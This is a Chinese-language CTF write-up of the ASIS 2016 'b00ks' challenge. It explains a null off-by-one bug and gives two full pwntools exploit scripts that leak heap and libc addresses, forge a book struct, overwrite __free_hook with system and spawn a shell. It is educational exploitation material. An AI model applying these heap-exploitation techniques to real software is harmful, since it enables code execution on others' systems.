当前位置:网站首页>Asis2016 books null off by one
Asis2016 books null off by one
2022-08-11 05:29:00 【Mauricio_Davis】
考察点
- 如何利用null off by one 泄露chunk地址
- 如何利用null off by one 改变指针的指向
知识点
- mmap申请的chunk其在gdb里面使用heap无法看见所在地,mmap申请的chunk其地址为libc基地址+偏移,目前我是通过search 字符串 ,去查找mmap的chunk
- 一般情况下申请的chunk如果大于0x20000就会使用mmap来分配
程序分析
- 直接看伪代码的menu,程序有以下操作
- create创建book,其结构如下: chunk的申请顺序为name->des->book
struct book{
int idx;
char* name;
char* description;
int size;
}
- 更改作者名,写入内容都是用着自己编写的输入函数,但是在输入作者名传参的时候出现了null off by one漏洞,他输入的是32,那么我们如果输入的作者名达到32字节,也就是下标[31]输入完成之后,i变成了32,然后置为0,显然溢出赋值了
- 其他函数比较常规,释放函数释放的顺序为name->des->book,最后把存贮book地址的地方置0,没有uaf
利用分析
通过分析程序,我们发现作者名和book结构的指针都是存放在bss段里面的,202010是存放book结构指针的地址,202018是存放作者的地址,我们看右边在bss里面的偏移发现,作者名在book指针的上面,而且他们是连在一起的,只要我们把作者名填写0x20进入,那么我们在打印作者名的时候后面的第一个book指针就可以泄露出来
还发现这个null off by one,还可以将存放第一个book结构的指针的最后一个字节覆盖为0,然而程序是通过这上面的地址去进行写入操作,那么当我们申请chunk的时候注意控制chunk的大小,通过覆盖最后一个字节使他指向book1的des
需要注意的是内存基本上都是按页分配也就是0x1000,最后3位基本上0,但是这个程序会首先生成一个页chunk,导致了我们申请的第一个chunk不是从000开始的而是从010开始的,可以自行gdb调试,或者通过计算自己创建的第一个book,然后泄露出他的地址-去前面的chunk得到第一个chunk头的地址也可以发现
- 如下所示,进行如下chunk布局时,我们将book的0x5130覆盖最后一个字节之后就会变成,0x5100,就会指向des的chunk
- 通过book提前在des里面,伪造一个book结构,
- 让fake book的name->book2_name,fake book的des->book2_des,
- 此时我们对book1的des编辑就是在改写book2的存放des指针的位置
- 最后编辑book2,我们就可以对任意内存改写
exp
- 方法一:本地环境和远端环境一致的情况下,我们要泄露libc地址去改写free_hook指针,前面提到过mmap申请的chunk地址,用的是libc的基地址+offset,通过这种方式泄露libc,然后改写free_hook为system
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',28630)
libc=ELF(b'./libc-2.23.so')
c = process(b'./b00ks')
gdb.attach(c,''' b *$rebase(0x127F) b *$rebase(0x0A75) ''')
def add(name_size,name_content,des_size,des_content):
c.recvuntil(b'> ')
c.sendline(b'1')
c.recvuntil(b'size: ')
c.sendline(str(name_size))
c.recvuntil(b': ')
c.sendline(name_content)
c.recvuntil(b'size: ')
c.sendline(str(des_size))
c.recvuntil(b': ')
c.sendline(des_content)
def free(books_idx):
c.recvuntil(b'> ')
c.sendline(b'2')
c.recvuntil(b'delete: ')
c.sendline(str(books_idx))
def change_des(books_idx,des_content):
c.recvuntil(b'> ')
c.sendline(b'3')
c.recvuntil(b'edit: ')
c.sendline(str(books_idx))
c.recvuntil(b': ')
c.sendline(des_content)
def show(books_idx):
c.recvuntil(b'> ')
c.sendline(b'4')
c.recvuntil(b': ')
for i in range(books_idx):
books_idx=int(c.recvuntil(b'\n')[:-1])
c.recvuntil(b': ')
books_name=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_des=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_author=c.recvuntil(b'\n')[:-1]
return books_idx,books_name,books_des,books_author
def change_name(name):
c.recvuntil(b'> ')
c.sendline(b'5')
c.recvuntil(b': ')
c.sendline(name)
def first_name(name):
c.recvuntil(b'name: ')
c.sendline(name)
##############################################################
first_name(b'a'*32)
add(0xd0,b'aaaaaaaa',0x20,b'bbbbbbbb')
add(0x21000,b'/bin/sh',0x21000,b'dddddddd')#使改chunk用mmap来分配chunk,注意那么的内容要是/bin/sh
book1_idx,book1_name,book1_des,book1_author=show(1)
#接受完作者名之后就是book1_addr
book1_addr=u64(book1_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_addr:"+hex(book1_addr))
##############################################################
#伪造fake book,name,des分别指向book2的name,des
py=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p32(0xffff)
change_des(1,py)
change_name(b'a'*32)#覆盖book1的最后一个字节,因为小端序
book2_idx,book2_name,book2_des,book2_author=show(1)
libc_offset=u64(book2_name.ljust(8,b'\x00'))
log.success("libc_offset:"+hex(libc_offset))#拿到namechunk的地址
libc_base=libc_offset-0x22010-0x5a8000#-去他们的偏移拿到libc_base,远端本地环境一致的情况下可以gdb调出偏移
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))
free_hook=libc_base+libc.sym['__free_hook']
py=p64(free_hook)#通过book1改写book2des的指针为free_hook
change_des(1,py)
py=p64(sys)
change_des(2,py)#通过book2改写free_hook为system
free(2)#拿到shell
c.interactive()
- 方法二。泄露book1_addr与上述一致,泄露libc的方法为,将book2的name申请为可以放入unsorted bin的chunk,师傅时候,通过打印book1拿到main_arean+offset偏移,一般情况下,这样泄露的地址该偏移为88,然后main_arean-0x10就是malloc_hook的地址
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
c=remote(b'node4.buuoj.cn',28967)
libc=ELF(b'./libc-2.23.so')
#c = process(b'./b00ks')
def add(name_size,name_content,des_size,des_content):
c.recvuntil(b'> ')
c.sendline(b'1')
c.recvuntil(b'size: ')
c.sendline(str(name_size))
c.recvuntil(b': ')
c.sendline(name_content)
c.recvuntil(b'size: ')
c.sendline(str(des_size))
c.recvuntil(b': ')
c.sendline(des_content)
def free(books_idx):
c.recvuntil(b'> ')
c.sendline(b'2')
c.recvuntil(b'delete: ')
c.sendline(str(books_idx))
def change_des(books_idx,des_content):
c.recvuntil(b'> ')
c.sendline(b'3')
c.recvuntil(b'edit: ')
c.sendline(str(books_idx))
c.recvuntil(b': ')
c.sendline(des_content)
def show(books_idx):
c.recvuntil(b'> ')
c.sendline(b'4')
c.recvuntil(b': ')
for i in range(books_idx):
books_idx=int(c.recvuntil(b'\n')[:-1])
c.recvuntil(b': ')
books_name=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_des=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_author=c.recvuntil(b'\n')[:-1]
return books_idx,books_name,books_des,books_author
def change_name(name):
c.recvuntil(b'> ')
c.sendline(b'5')
c.recvuntil(b': ')
c.sendline(name)
def first_name(name):
c.recvuntil(b'name: ')
c.sendline(name)
##############################################################
first_name(b'a'*32)
add(0xd0,b'aaaaaaaa',0x20,b'bbbbbbbb')
add(0x90,b'/bin/sh',0x60,b'dddddddd')#注意name的大小,我们最后要释放book2,只需要一个是在unsorted bin的chunk
book1_idx,book1_name,book1_des,book1_author=show(1)
book1_addr=u64(book1_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_addr:"+hex(book1_addr))
##############################################################
py=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p32(0xffff)
change_des(1,py)
change_name(b'a'*32)
free(2)
book2_idx,book2_name,book2_des,book2_author=show(1)
main_arean_offset=u64(book2_name.ljust(8,b'\x00'))
log.success("mian_arean_offset:"+hex(main_arean_offset))
malloc_hook=main_arean_offset-88-0x10
log.success("malloc_hook:"+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))
free_hook=libc_base+libc.sym['__free_hook']
################################################################
add(0x21000,b'/bin/sh',0x21000,b'/bin/sh')
py=p64(free_hook)
change_des(1,py)
py=p64(sys)
change_des(3,py)#这里就要注意了,为什么是3不是2,我们前面已经申请了book2了,即使释放,记录编号的变量不会变而是继续累加,所以我们第三次申请的book就是3
free(3)
c.interactive()
- 方法3, 使用fastbin attack,来改写malloc_hook,或者free_hook
这里就讲述了有兴趣的师傅可以参考链接一
边栏推荐
猜你喜欢
USB 枚举过程中8 字节标准请求解析
127.0.0.1 已拒绝连接
论文解读TransFG: A Transformer Architecture for Fine-grained Recognition
Day 86
栈stack
何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念
gerrit configure SSH Key and account, email information
Open Source Machine Learning Database OpenMLDB Contributor Program Fully Launched
js learning advanced (event senior pink teacher teaching notes)
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
随机推荐
gerrit 配置SSH Key和账号、邮箱信息
JS小技巧,让你编码效率杠杠的,快乐摸鱼
jdbc接口文档参考,jdbc接口方法逻辑探究
Day 85
JVM tuning and finishing
批量快速修改代码的正则表达式替换
Day 82
活动预告 | 4月23日,多场OpenMLDB精彩分享来袭,不负周末好时光
js learning advanced (event senior pink teacher teaching notes)
127.0.0.1 已拒绝连接
Day 83
微信小程序_开发工具的安装
端口的作用
127.0.0.1 connection refused
精彩联动 | OpenMLDB Pulsar Connector原理和实操
2021-09-11 C语言 变量与内存分配
【无标题】
Day 80
[Meetup Preview] OpenMLDB+OneFlow: Link feature engineering to model training to accelerate machine learning model development
Promise.race学习(判断多个promise对象执行最快的一个)